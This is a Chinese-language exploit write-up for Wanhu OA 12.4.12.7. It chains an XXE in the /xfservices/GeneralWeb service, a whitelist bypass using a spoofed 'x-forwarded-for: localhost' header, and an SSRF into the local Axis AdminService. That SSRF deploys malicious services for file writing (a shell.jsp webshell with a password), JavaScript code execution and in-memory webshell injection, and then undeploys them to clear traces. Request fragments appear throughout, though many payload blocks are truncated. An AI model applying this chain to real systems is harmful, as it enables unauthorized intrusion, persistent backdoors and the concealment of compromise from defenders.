环境
万户 oa 12.4.12.7
XXE漏洞点
在com.whir.service.common.CallApi的getResult方法中,传入input参数调用XXESAXBuilder.build对输入字符串解析,未配置安全策略,可构造特殊的xml语句实现XXE漏洞利用。
![]() |
|---|
在com.whir.service.webservice.GeneralWeb的OAManager方法中,调用了CallApi#getResult方法。
![]() |
|---|
该方法在META-INF/xfire/services.xml中定义,作为xfire框架的一个WebService服务。
![]() |
|---|
在web.xml配置,可通过/xfservices/GeneralWeb进行调用。
![]() |
|---|
![]() |
|---|
权限绕过
在web.xml中,配置了Filter,所有的请求都会经过com.whir.common.util.SetCharacterEncodingFilter#doFilter方法
![]() |
|---|
在159行,请求路径中存在/xfservices/GeneralWeb,则会调用this.judgeIsSecurityIP((HttpServletRequest)request)方法,判断请求的ip是否为白名单中的ip,如果请求ip不在白名单中则return null。
![]() |
|---|
在judgeIsSecurityIP方法中,通过IPUtil.getIpAddr(request)获取ip
![]() |
|---|
getIpAddr方法中Header头中获取ip,可通过指定x-forwarded-for、Proxy-Client-IP、WL-Proxy-Client-IP指定ip。
![]() |
|---|
获取到IP后会判断是否在localhost、192.168.0、192.168.7中,在就会执行chain.doFilter。
![]() |
|---|
在请求头中指定x-forwarded-for: localhost,回显了Invalid SOAP request,说明执行到GeneralWeb中
![]() |
|---|
dnslog
1 | <?xml version="1.0" encoding="utf-8"?> |
1 | POST /defaultroot/xfservices/GeneralWeb HTTP/1.1 |
![]() |
|---|
内网 Axis AdminService 服务漏洞
web.xml中配置了AxisServlet,Axis在低版本可通过AdminService服务更新配置文件,添加服务。
![]() |
|---|
在server-config.wsdd中配置了AdminService服务,访问方式为/services/AdminService,但是enableRemoteAdmin为false,意味着只能本地访问,正好可以配合如上SSRF漏洞实现修改配置文件添加恶意服务。
![]() |
|---|
漏洞分析
在处理AxisServlet的过程中
1 | org.apache.axis.transport.http.AxisServlet#doGet |
QSMethodHandler的invoke方法会从request对象中获取method参数,然后调用this.invokeEndpointFromGet方法。
![]() |
|---|
将method参数拼接到SOAP报文中。
1 | private void invokeEndpointFromGet(MessageContext msgContext, HttpServletResponse response, PrintWriter writer, String method, String args) throws AxisFault { |
![]() |
|---|
调用栈
1 | org.apache.axis.transport.http.AxisServlet#doGet |
![]() |
|---|
![]() |
|---|
获取AdminService的enableRemoteAdmin配置,为false,则获取源ip是否为127.0.0.1,如果不是,则获取本地ip与源ip进行对比,不一致则报异常。
![]() |
|---|
processWSDD方法中,将root作为参数创建WSDDDocument对象,再获取((WSDDEngineConfiguration)config).getDeployment()原来的配置,最后调用deploy执行部署。
![]() |
|---|
漏洞利用
org.apache.axis.handlers.LogHandler(文件写入)
1 | org.apache.axis.handlers.LogHandler |
ssrf 添加恶意服务 payload
1 |
|
通过GeneralWeb接口触发SSRF 添加服务
1 | POST /defaultroot/xfservices/./GeneralWeb HTTP/1.1 |
![]() |
|---|
调用
1 | POST /defaultroot/services/./randomBBB HTTP/1.1 |
![]() |
|---|
连接 http://172.20.10.132:7001/shell.jsp ndrqjxdtldybh
![]() |
|---|
com.sun.script.javascript.RhinoScriptEngine(代码执行)
1 | com.sun.script.javascript.RhinoScriptEngine |
ssrf 触发代码执行 payload
1 |
|
1 | POST /defaultroot/xfservices/./GeneralWeb HTTP/1.1 |
![]() |
|---|
执行命令
1 | POST /defaultroot/services/./RhinoScriptEngineService HTTP/1.1 |
![]() |
|---|
打内存马
1 | POST /defaultroot/services/./RhinoScriptEngineService HTTP/1.1 |
1 |
|
![]() |
|---|
痕迹清理:卸载服务
1 | POST /axis/services/AdminService HTTP/1.1 |
1 | <?xml version="1.0" encoding="utf-8"?> |
1 | !--><undeployment xmlns="http://xml.apache.org/axis/wsdd/"> |

























